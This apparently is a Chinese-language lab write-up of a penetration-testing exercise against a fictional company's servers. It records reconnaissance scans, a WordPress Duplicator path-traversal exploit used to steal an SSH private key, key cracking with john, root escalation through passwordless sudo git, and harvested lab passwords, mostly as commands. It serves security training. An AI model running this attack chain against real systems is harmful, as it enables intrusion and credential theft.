BEYOND 公司之滲透測試(1) - 互動式登入與提權
BEYOND 公司之滲透測試(1)
互動式登入與提權
目標 : 攻破 AD 獲取 Domain Admin 權限
初步得知的對外網路,一台 Web Server、一台 Mail Server
kali 機針對此次的滲透測試建立好獨立的路徑 /home/kali/beyond
然後每一台機器建立一個資料匣,並預先建立使用者、密碼、憑證清單
LAB 機器說明(注意,不同時期第三碼時有不同,皆以最後一碼表示該機器)
- VM1 (172.16.94.240)
- VM2 (172.16.94.241)
- VM3 - MAILSRV1 (192.168.208.242)
- VM4 (172.16.94.243)
- VM5 - WEBSRV1 (192.168.208.244)
- VM6 - WINPREP (192.168.208.250); 並提供一組帳號密碼 offsec /lab
第一步對 MAILSRV1(192.168.208.242) 進行掃描
└─$ rustscan -a 192.168.208.242 --scripts none --ulimit 5000
掃完後針對有開放的 Port 進行 nmap 帶 -sCV 參數掃描,然後 -oN 參數寫到檔案
└─$ sudo nmap -sC -sV -p 25,80,110,135,139,143,445,587,5985,47001,49664,49665,49666,49668,49669,49670,49667 -oN mailsrv1/nmap 192.168.208.242
5 位數 High Port 幾乎都是 RPC,其他列舉如下
- 25 : hMailServer SMTP
- 80 : IIS/10.0
- 110 : hMailServer POP3
- 135 : RPC
- 139 : NetBIOS
- 143 : hMailServer IMAP
- 445 : SMB
- 587 : hMailServer SMTP
- 5985 / 47001 : Microsoft HTTPAPI httpd 2.0
確定 nmap 結果有寫入到我們指定的路徑,方便我們之後查看
HmailServer 是微軟的免費郵件伺服器,且有幾個 CVE 漏洞如下
Exploit DB 也可以查到部分漏洞利用,但值得注意的是我們在 nmap 的掃描結果中並沒有發現
hMailServer 的版本後,所以即使有漏洞也只能一個一個測試看看
80 Port 開啟來看一下是 IIS 預設的頁面,目前啥都沒有
看到 Web Server 的標準起手式就是給它 gobuster 下去,└─$ gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt dir -u http://192.168.208.242 -o gobuster -t 150 -x aspx,txt,pdf,config
接下來將目標放到對外的 WEBSRV1(192.168.208.244),一樣先 rustscan,看來僅有 22/80 Port
└─$ rustscan -a 192.168.208.244 --scripts none --ulimit 5000
下一步 nmap,└─$ sudo nmap -sC -sV -p 22,80 -oN nmap 192.168.208.244
- 22 : OpenSSH 8.9p1 Ubuntu 3
- 80 : Apache httpd 2.4.52
從 http-title 來看應該是財務相關網站
將「OpenSSH 8.9p1 Ubuntu 3」字串複製到搜尋引擎中。結果包含指向 Ubuntu Launchpad 網頁的鏈接,其中包含映射到特定 Ubuntu 版本的 OpenSSH 版本資訊列表。在我們的範例中,版本對應到 Jammy Jellyfish,這是 Ubuntu 22.04 的版本名稱,暫時一樣沒啥鳥用(除了暴力破密)
參考連結 : https://launchpad.net/ubuntu/+source/openssh
Exploit DB 看一下 Apache 2.4.52,看來也沒啥鳥用,暫時還沒有發現任何漏洞可利用
開始逛網站吧,非常簡單的網站,一樣暫時沒發現如何下一步
Web 網站標準起手式,gobuster 下去,└─$ gobuster -w /usr/share/wordlists/dirb/common.txt dir -u http://192.168.208.244 -o gobuster -t 150 -x aspx,txt,pdf,config
http://192.168.208.244/wp-admin 下去看一下真的是 WordPress
└─$ whatweb http://192.168.208.244 看一下是否有 WP 版本號,版本是 WordPress 6.0.2
WPScan 網站 (https://wpscan.com/profile/) 拿一下 API Key
WPScan 下去並寫到檔案吧,wpscan --url http://192.168.208.244 -o wpscan -e vp --api-token [API Token]
簡單看一下 WPScan 有 24 個漏洞可以利用
接著針對外掛 plug-in 進行掃描,wpscan --url http://192.168.208.244 --enumerate p --plugins-detection aggressive -o wpscan-plugin --api-token [API Token]
逛一下 plug-in 的漏洞,看到這個 duplicator,雖然沒寫版本
但看到尤其顯示 [!] The version is out of date 表示很舊
那就先從該 WP 外掛插件下手試試看吧,利用所學進行搜尋
指令 searchsploit duplicator,看到這種 Unauthenticated 最好,完全不需要事先驗證
那就先 COPY 過來吧,└─$ searchsploit -m 50420 ; └─$ searchsploit -m 49288
其中一個寫了 Metasploit,表示框架是針對 Metasploit 開發的
所以先從 50420 開始下手,cat 50420.py,顯示 CVE-2020-11738.py
URL = arg + "/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../.." + file
看來是個目錄遍歷利用
看來就直接執行 python3 50420.py http://192.168.208.244 /etc/passwd
獲得兩個 User 帳號 daniela & marcus
先順手記錄下來在 user.txt
由於已知兩個使用者帳號加上目錄遍歷存在,下一步就是 id_rsa Key 檔案
指令 python3 50420.py http://192.168.208.244 /home/daniela/.ssh/id_rsa
python3 50420.py http://192.168.208.244 /home/marcus/.ssh/id_rsa
拿到 daniela 的 id_rsa Key 了,將它複製後存到 kali 一樣取名 id_rsa
記得要先 chmod 600 id_rsa (檔案做完預設是 644,記得改 600 或 700 都可以)
下一步就是測試用該 id_rsa 檔案登入 WEBSRV1(192.168.208.244) 試試看
指令 ssh -i id_rsa daniela@192.168.208.244,結果檔案有加密需要密碼
那就破解 id_rsa 密碼試試看,先用 ssh2john 轉成 hash,ssh2john id_rsa > ssh.hash
再直接用 john 破解 john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
破解出來了答案是 tequieromucho
再次登入 指令 ssh -i id_rsa daniela@192.168.208.244 並使用密碼 tequieromucho
登入成功了,進入該組織的第一台伺服器了,拿到 inter-active 的第一步
權限是 daniela 一般使用者權限而已
初步登入點機器為 Linux 伺服器,透過在 Linux 自動枚舉的練習
https://your-it-note.blogspot.com/2023/10/linux_3.html 接著使用 linPEAS 自動化 Linux 枚舉腳本
LinPeas 下載 : https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
- Example: ./linpeas.sh -a > /dev/shm/linpeas.txt
預設在 Kali 中沒有該套件,可以使用上述的連結下載或是線上安裝
指令 : apt update && sudo apt install peass
安裝完畢後路徑會在 /usr/share/peass/linpeas/*
讓我們將要使用的腳本 linpeas.sh COPY 到 websrv1 目錄下
指令 : cp /usr/share/peass/linpeas/linpeas.sh .
從初步入侵的 WEBSRV1(192.168.233.244) 去 kali 下載該腳本
指令 daniela@websrv1:~$ wget http://192.168.45.176/beyond/websrv1/linpeas.sh
執行 ./linpeas.sh -a > linpeas.txt,執行後出現 Permission Deny
ls -la 看了一下,現有帳號不能執行
chmod a+x ./linpeas.sh 先改一下權限再 ls -la 看一下,應該是沒問題了
執行 ./linpeas.sh -a > linpeas.txt,結果跑不完,不知道卡在哪裡
Ctrl+c 先停掉,但看檔案已經枚舉了相關資訊
直接執行 ./linpeas.sh 不加參數 -a 這一次有跑完
改用 ./linpeas.sh >> linpeas2.txt 這一次成功了,看來是 -a 參數問題
看了一下線上文件 -a 是順便暴力破解 root 權限,看來要謹慎使用
先看系統是 Ubuntu 22.04.1 LTS
網路介面,只有一個 ens192,IP 是 192.168.233.244
查找可以 sudo 的應用指令,發現一個 (ALL) NOPASSWD : /usr/bin/git
這表示當前的使用者 daniela 可以直接 sudo 執行該指令而不需要密碼
透過關鍵字 PASSWORD or PASSWD 發現一個在 WORDPRESS 檔案的密碼
帳號 / 密碼 : wordpress / DanielKeyboard3311
先將它記錄到 creds.txt,現在我們擁有兩組帳號與密碼了
記得一併更新 user.txt & password.txt
由於剛剛知道可以執行 git 指令不需要密碼,故看一下 git 相關的檔案如下圖
發現 wordpress 路徑不在一般應用程式預設的 /var/www/html 底下
反而安裝在 /srv/www/wordpress/.git
這也表示伺服器將 wordpress 相關檔案進行 git 同步,使用 git 當作 wordpress 的版控
可以看到僅有 root 權限才能讀取,所以提權是第一步,不然目前無法進一步讀取 git 資料庫
小結一下目前在 WEBSRV1 上收集到的相關資訊
WEBSRV1 運行Ubuntu 22.04,未連接內網。sudoers 檔案包含一個條目,允許 daniela 以提升的權限運行 /usr/bin/git 而無需提供密碼。另外了解到 WordPress 目錄是一個 Git 儲存庫。最後,我們在 WordPress 的資料庫連線設定中獲得了一個明文密碼。 基於此信息,我們可以定義三個潛在的權限升級向量:
1. 濫用 sudo 指令/usr/bin/git
2. 使用 sudo 搜尋 Git 儲存庫
3. 嘗試使用 WordPress 資料庫密碼存取其他用戶
使用在 Linux 提權學到的先查看 GTFOBins 網站並點選這次要用的 git 指令
https://gtfobins.github.io/gtfobins/git/,查看 SUDO 的方式如下圖
一行一行測,第一個 sudo PAGER='sh -c "exec sh 0<&1"' git -p help 沒有成功
第二個 sudo git -p help config 再輸入 !/bin/sh 然後 id 一下發現是 root 了
但 /bin/sh 這介面不好用,讓我們改輸入 /bin/bash 可以成功,這介面好用多了
提權為 root 後讓我們對剛剛只有 root 權限才能讀取的 git 資料庫下手吧
切換到剛剛查到的路徑 cd /srv/www/wordpress/
然後執行相關 git 指令看一下,指令 : git status、git log
發現共有兩筆 git 同步,第一筆是 initual commit 初始提交
第二筆描述是 [ Removed staging script and internal network access ] 表示移掉 script 跟網路存取
所以我們應該朝第一筆初始提交下手
直接先看第二筆相關的異動,指令 git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1
由刪除的 scripts 內容來看,發現了一個使用 sshpass 自動執行任務的方法
這通常用於以非互動式方式為腳本提供密碼 (如下)
-sshpass -p "dqsTwTpZPn#nL" rsync john@192.168.50.245:/current_webapp/ /srv/www/wordpress/
一樣紀錄與更新我們的檔案 user.txt、password.txt、creds.txt
一旦我們獲得了系統的特權存取權限,我們應該再次執行 linPEAS。由於該工具現在可以存取其他使用者和系統的文件,因此它可能會發現以daniela 身份運行時無法存取的敏感資訊和資料
LAB 用不到,但考試中要特別注意
紀錄一下從外網目前的侵入與提權路徑
1. login to WEBSRV1(244) : ssh -i id_rsa daniela@192.168.233.244
2. Password : tequieromucho
3. Elevate privileges : sudo git -p help config --> !/bin/sh
已拿到的帳號密碼
1. offsec / lab
2. wordpress / DanielKeyboard3311
3. john / dqsTwTpZPn#nL
留言
張貼留言